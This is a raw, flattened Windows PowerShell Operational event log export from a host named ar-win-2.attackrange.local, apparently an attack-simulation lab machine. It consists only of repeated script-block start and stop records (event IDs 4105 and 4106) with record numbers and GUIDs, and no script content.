410515102150x0671944Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671943Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671942Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671941Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671940Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671939Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671938Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671937Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671936Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671935Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671934Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671933Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671932Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671931Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671930Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671929Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671928Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671927Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671926Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671925Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671924Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671923Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671922Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671921Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671920Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671919Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671918Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671917Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671916Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671915Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671914Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671913Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671912Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671911Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671910Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671909Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671908Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671907Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671906Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671905Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671904Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671903Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671902Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671901Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671900Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671899Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671898Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671897Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671896Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671895Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671894Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671893Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671892Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671891Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671890Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671889Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671888Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671887Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671886Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671885Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671884Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671883Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671882Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671881Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671880Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671879Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671878Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671877Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671876Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671875Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671874Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671873Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671872Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671871Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671870Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671869Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671868Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671867Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671866Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671865Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671864Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671863Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671862Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671861Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671860Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671859Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671858Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671857Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671856Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671855Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671854Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671853Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671852Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671851Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671850Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671849Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671848Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671847Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671846Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671845Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671844Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671843Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671842Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671841Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671840Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671839Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671838Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671837Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671836Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671835Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671834Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671833Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671832Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671831Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671830Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671829Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671828Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671827Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671826Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671825Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671824Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671823Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671822Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671821Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671820Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671819Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671818Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671817Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671816Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671815Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671814Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671813Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671812Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671811Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671810Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671809Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671808Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671807Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671806Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671805Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671804Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671803Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671802Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671801Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671800Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671799Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671798Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671797Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671796Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671795Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671794Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671793Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671792Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671791Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671790Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671789Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671788Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671787Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671786Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671785Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671784Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671783Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671782Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 